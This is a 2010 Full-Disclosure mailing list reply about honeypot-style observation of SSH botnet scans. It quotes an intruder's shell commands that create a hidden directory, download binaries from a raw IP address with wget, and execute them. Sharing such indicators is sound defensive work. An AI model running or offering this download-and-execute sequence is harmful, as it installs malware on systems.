Re: [Full-disclosure] SSH scans, i caught one

[Marco van Berkum <marco@xxxxxxx>]

On 11/19/2010 02:35 PM, Julien Reveret wrote:

> Maybe it's a fork from this old botnet: http://dronebl.org/blog/8  ?
> I haven't seen much routers with ARM CPUs whereas the number of SOHO
> routers based on MIPS architecture seems to be high.

Interesting...
 From the first look of it this old botnet is way more advanced.
At least the installprocess is. the only thing the 'hacker' tried
to infect my Koyoney was:

cd /var/tmp;
mkdir .scan;
wget http://93.184.100.76:2700/pwn/syslgd;
wget http://93.184.100.76:2700/pwn/ssh;chmod u+x syslgd ssh;./syslgd;
rm syslgd;

Twice now btw, just had another ssh login from another IP that did the 
exact same thing.

Grtz,
Marco van Berkum

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/